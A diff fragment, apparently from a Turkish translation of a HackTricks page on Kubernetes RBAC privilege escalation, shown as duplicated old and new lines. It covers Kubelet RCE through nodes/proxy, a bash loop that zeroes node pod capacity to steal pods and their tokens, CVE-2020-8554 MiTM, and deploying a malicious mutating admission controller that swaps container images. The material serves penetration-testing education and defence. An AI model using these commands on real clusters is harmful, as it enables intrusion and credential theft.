Bir sonraki bölümde okuyabileceğiniz gibi: [**Yerleşik Ayrıcalık Yükseltme Önleme**](#built-in-privileged-escalation-prevention), bir ilke, kendisi bu yeni izinlere sahip olmadan ne rol ne de clusterrole güncelleyemez veya oluşturamaz. Ancak **`roles`** veya **`clusterroles`** üzerinde **`escalate` veya `*`** fiiline sahipse ve ilgili bağlama seçeneklerine sahipse, yeni roller, clusterrole'ler güncelleyebilir veya oluşturabilir.
|
||||
|
||||
### Düğüm proxy
|
||||
|
||||
**`nodes/proxy`** alt kaynağına erişimi olan ilkeler, Kubelet API aracılığıyla **pod'larda kod çalıştırabilir** (buna göre [**bu**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Kubelet kimlik doğrulaması hakkında daha fazla bilgi bu sayfada:
|
||||
**`nodes/proxy`** alt kaynağına erişimi olan ilkeler, Kubelet API aracılığıyla **podlarda kod çalıştırabilir** (bkz. [**bu**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Kubelet kimlik doğrulaması hakkında daha fazla bilgi bu sayfada:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
[**Kubelet API ile yetkilendirilmiş konuşarak RCE elde etme örneğini burada bulabilirsiniz**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
[**Kubelet API ile yetkilendirilmiş bir şekilde RCE elde etme örneğini burada bulabilirsiniz**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
|
||||
### Pod'ları silme + planlanamayan düğümler
|
||||
### Podları silme + planlanamaz düğümler
|
||||
|
||||
**Pod'ları silebilen** (`delete` fiili üzerinde `pods` kaynağı), veya **pod'ları tahliye edebilen** (`create` fiili üzerinde `pods/eviction` kaynağı), veya **pod durumunu değiştirebilen** (`pods/status` erişimi) ve **diğer düğümleri planlanamaz hale getirebilen** (`nodes/status` erişimi) veya **düğümleri silebilen** (`delete` fiili üzerinde `nodes` kaynağı) ve bir pod üzerinde kontrolü olan ilkeler, **diğer düğümlerden pod'ları çalabilir**, böylece bunlar **kompromize** **düğümde** **çalıştırılır** ve saldırgan bu pod'lardan **token'ları çalabilir**.
|
||||
**Podları silebilen** (`delete` fiili ile `pods` kaynağı üzerinde), veya **podları tahliye edebilen** (`create` fiili ile `pods/eviction` kaynağı üzerinde), veya **pod durumunu değiştirebilen** (`pods/status` erişimi) ve **diğer düğümleri planlanamaz hale getirebilen** (`nodes/status` erişimi) veya **düğümleri silebilen** (`delete` fiili ile `nodes` kaynağı üzerinde) ve bir pod üzerinde kontrolü olan ilkeler, **diğer düğümlerden podları çalabilir**, böylece bunlar **kompromize** **düğümde** **çalıştırılır** ve saldırgan bu podlardan **tokenları çalabilir**.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -536,87 +579,61 @@ while true; do patch_node_capacity <id_other_node>; done &
|
||||
|
||||
kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Hizmetler durumu (CVE-2020-8554)
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
**`services/status`**'u **değiştirebilen** ilkeler, `status.loadBalancer.ingress.ip` alanını **düzeltilemeyen CVE-2020-8554**'ü istismar etmek ve **MiTM saldırıları başlatmak** için ayarlayabilir. CVE-2020-8554 için çoğu hafifletme, yalnızca ExternalIP hizmetlerini engeller (buna göre [**bu**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
**`services/status`**'ı **değiştirebilen** ilkeler, `status.loadBalancer.ingress.ip` alanını **düzeltilememiş CVE-2020-8554**'ü istismar etmek için ayarlayabilir ve **küme** üzerinde **MiTM saldırıları** başlatabilir. CVE-2020-8554 için çoğu önlem, yalnızca ExternalIP hizmetlerini engeller (buna göre [**bu**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Düğümler ve Podlar durumu
|
||||
### Nodes and Pods status
|
||||
|
||||
`nodes/status` veya `pods/status` üzerinde **`update`** veya **`patch`** izinlerine sahip ilkeler, uygulanan zamanlama kısıtlamalarını etkilemek için etiketleri değiştirebilir.
|
||||
|
||||
## Yerleşik Ayrıcalık Yükseltme Önleme
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes, ayrıcalık yükseltmeyi önlemek için [yerleşik bir mekanizma](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) sunar.
|
||||
Kubernetes, ayrıcalık yükselmesini önlemek için [yerleşik bir mekanizma](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) sunar.
|
||||
|
||||
Bu sistem, **kullanıcıların roller veya rol bağlamalarını değiştirerek ayrıcalıklarını artırmalarını engeller**. Bu kuralın uygulanması API seviyesinde gerçekleşir ve RBAC yetkilendiricisi devre dışı olsa bile bir koruma sağlar.
|
||||
Bu sistem, **kullanıcıların rollerini veya rol bağlamalarını değiştirerek ayrıcalıklarını artırmalarını** engeller. Bu kuralın uygulanması API seviyesinde gerçekleşir ve RBAC yetkilendiricisi devre dışı olduğunda bile bir koruma sağlar.
|
||||
|
||||
Kural, **bir kullanıcının yalnızca bir rolü oluşturabileceğini veya güncelleyebileceğini, eğer rolün içerdiği tüm izinlere sahipse** belirtir. Ayrıca, kullanıcının mevcut izinlerinin kapsamı, oluşturmak veya değiştirmek istediği rolün kapsamıyla uyumlu olmalıdır: ClusterRoles için küme genelinde veya Roles için aynı ad alanına (veya küme genelinde) sınırlı olmalıdır.
|
||||
Kural, **bir kullanıcının yalnızca bir rolü oluşturabileceğini veya güncelleyebileceğini, eğer rolün içerdiği tüm izinlere sahipse** belirtir. Ayrıca, kullanıcının mevcut izinlerinin kapsamı, oluşturmak veya değiştirmek istediği rolün kapsamıyla uyumlu olmalıdır: ya ClusterRoles için küme genelinde ya da Roles için aynı ad alanında (veya küme genelinde) olmalıdır.
|
||||
|
||||
> [!WARNING]
|
||||
> Önceki kuralda bir istisna vardır. Eğer bir ilkenin **`roles`** veya **`clusterroles`** üzerinde **`escalate`** fiili varsa, kendisi izinlere sahip olmasa bile rollerin ve clusterrollerin ayrıcalıklarını artırabilir.
|
||||
> Önceki kuralda bir istisna vardır. Eğer bir ilke **`roles`** veya **`clusterroles`** üzerinde **`escalate`** fiiline sahipse, kendisi izinlere sahip olmasa bile rollerin ve clusterrollerin ayrıcalıklarını artırabilir.
|
||||
|
||||
### **RoleBindings/ClusterRoleBindings Al & Patch**
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Görünüşe göre bu teknik daha önce çalışıyordu, ancak testlerime göre önceki bölümde açıklanan aynı nedenle artık çalışmıyor. Eğer zaten sahip değilseniz, kendinize veya farklı bir SA'ya bazı ayrıcalıklar vermek için bir rolebinding oluşturamaz/değiştiremezsiniz.**
|
||||
> **Görünüşe göre bu teknik daha önce çalışıyordu, ancak testlerime göre önceki bölümde açıklanan aynı nedenle artık çalışmıyor. Eğer zaten izinleriniz yoksa, kendinize veya farklı bir SA'ya bazı ayrıcalıklar vermek için bir rolebinding oluşturamaz/değiştiremezsiniz.**
|
||||
|
||||
Rolebinding oluşturma ayrıcalığı, bir kullanıcının **rolleri bir hizmet hesabına bağlamasına** olanak tanır. Bu ayrıcalık, **kullanıcının ele geçirilmiş bir hizmet hesabına yönetici ayrıcalıkları bağlamasına** neden olabileceğinden, potansiyel olarak ayrıcalık yükseltmeye yol açabilir.
|
||||
Rolebinding oluşturma ayrıcalığı, bir kullanıcının **rolleri bir hizmet hesabına bağlamasına** olanak tanır. Bu ayrıcalık, **kullanıcının ele geçirilmiş bir hizmet hesabına yönetici ayrıcalıkları bağlamasına** neden olabileceğinden, potansiyel olarak ayrıcalık yükselmesine yol açabilir.
|
||||
|
||||
## Diğer Saldırılar
|
||||
## Other Attacks
|
||||
|
||||
### Sidecar proxy uygulaması
|
||||
### Sidecar proxy app
|
||||
|
||||
Varsayılan olarak, podlar arasındaki iletişimde herhangi bir şifreleme yoktur. Karşılıklı kimlik doğrulama, iki yönlü, poddan poda.
|
||||
|
||||
#### Bir sidecar proxy uygulaması oluşturun <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
#### Create a sidecar proxy app
|
||||
|
||||
.yaml dosyanızı oluşturun.
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
YAML dosyanızı düzenleyin ve yorumlanmamış satırları ekleyin:
|
||||
Bir sidecar konteyner, **bir podun içine ikinci (veya daha fazla) konteyner eklemekten** ibarettir.
|
||||
|
||||
Örneğin, aşağıdaki, 2 konteyner içeren bir podun yapılandırmasının bir parçasıdır:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
#metadata:
|
||||
# name: security-context-demo
|
||||
#spec:
|
||||
# securityContext:
|
||||
# runAsUser: 1000
|
||||
# runAsGroup: 3000
|
||||
# fsGroup: 2000
|
||||
# volumes:
|
||||
# - name: sec-ctx-vol
|
||||
# emptyDir: {}
|
||||
# containers:
|
||||
# - name: sec-ctx-demo
|
||||
# image: busybox
|
||||
command:
|
||||
[
|
||||
"sh",
|
||||
"-c",
|
||||
"apt update && apt install iptables -y && iptables -L && sleep 1h",
|
||||
]
|
||||
securityContext:
|
||||
capabilities:
|
||||
add: ["NET_ADMIN"]
|
||||
# volumeMounts:
|
||||
# - name: sec-ctx-vol
|
||||
# mountPath: /data/demo
|
||||
# securityContext:
|
||||
# allowPrivilegeEscalation: true
|
||||
```
|
||||
Proxy'nin günlüklerini görüntüleyin:
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
spec:
|
||||
containers:
|
||||
- name: main-application
|
||||
image: nginx
|
||||
- name: sidecar-container
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Örneğin, mevcut bir pod'a yeni bir konteyner eklemek için spesifikasyona yeni bir konteyner ekleyebilirsiniz. İkinci konteynere, birincisinin sahip olmayacağı **daha fazla izin verebileceğinizi** unutmayın.
|
||||
|
||||
Daha fazla bilgi için: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Kötü Niyetli Kabul Kontrolörü
|
||||
### Kötü Amaçlı Kabul Kontrolörü
|
||||
|
||||
Bir kabul kontrolörü, **nesnenin kalıcı hale getirilmesinden önce Kubernetes API sunucusuna yapılan istekleri yakalar**, ancak **istek kimlik doğrulandıktan ve yetkilendirildikten sonra**.
|
||||
Bir kabul kontrolörü, nesnenin kalıcı hale gelmesinden önce Kubernetes API sunucusuna yapılan istekleri **yakalar**, ancak **istek kimlik doğrulandıktan ve yetkilendirildikten sonra**.
|
||||
|
||||
Eğer bir saldırgan bir şekilde **bir Mutationg Admission Controller enjekte etmeyi başarırsa**, **zaten kimlik doğrulaması yapılmış istekleri değiştirme** yeteneğine sahip olacaktır. Potansiyel olarak yetki yükseltme (privesc) yapabilir ve genellikle kümede kalıcı hale gelebilir.
|
||||
Bir saldırgan bir şekilde **bir Mutasyon Kabul Kontrolörü enjekte etmeyi** başarırsa, **zaten kimlik doğrulanmış istekleri değiştirme** yeteneğine sahip olacaktır. Potansiyel olarak yetki yükseltme yapabilir ve genellikle kümede kalıcı hale gelebilir.
|
||||
|
||||
**Örnek** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -625,7 +642,7 @@ cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
Durumunu kontrol et, hazır olup olmadığını görmek için:
|
||||
Durumunu kontrol et ve hazır olup olmadığını gör:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
@@ -644,9 +661,9 @@ kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||
|
||||
|
||||
Yukarıdaki görüntüde görebileceğiniz gibi, `nginx` imajını çalıştırmaya çalıştık ama son çalıştırılan imaj `rewanthtammana/malicious-image`. Ne oldu böyle!!?
|
||||
Yukarıdaki resimde görebileceğiniz gibi, `nginx` imajını çalıştırmaya çalıştık ama son çalıştırılan imaj `rewanthtammana/malicious-image`. Ne oldu böyle!!?
|
||||
|
||||
#### Teknik Detaylar <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
#### Teknik Detaylar
|
||||
|
||||
`./deploy.sh` betiği, yapılandırma satırlarında belirtilen şekilde Kubernetes API'sine yapılan istekleri değiştiren bir mutasyona uğratan webhook admission controller'ı kurar ve gözlemlenen sonuçları etkiler:
|
||||
```
|
||||
@@ -656,7 +673,7 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
Yukarıdaki kod parçası, her pod'daki ilk konteyner görüntüsünü `rewanthtammana/malicious-image` ile değiştirir.
|
||||
Yukarıdaki snippet, her pod'daki ilk konteyner görüntüsünü `rewanthtammana/malicious-image` ile değiştirir.
|
||||
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
@@ -677,7 +694,7 @@ Yukarıdaki kod parçası, her pod'daki ilk konteyner görüntüsünü `rewantht
|
||||
|
||||
### **Namespace'e Özel Roller Üzerine Cluster Genel Roller**
|
||||
|
||||
- **Roller vs. ClusterRoller**: Namespace'e özel izinler için ClusterRoller ve ClusterRoleBindings yerine Roller ve RoleBindings kullanmayı tercih edin. Bu yaklaşım, daha ince bir kontrol sunar ve izinlerin kapsamını sınırlar.
|
||||
- **Roller vs. ClusterRoller**: Namespace'e özel izinler için ClusterRoller ve ClusterRoleBindings yerine Roller ve RoleBindings kullanmayı tercih edin. Bu yaklaşım, daha ince kontrol sağlar ve izinlerin kapsamını sınırlar.
|
||||
|
||||
### **Otomatik Araçlar Kullanın**
|
||||
|
||||
@@ -698,5 +715,7 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user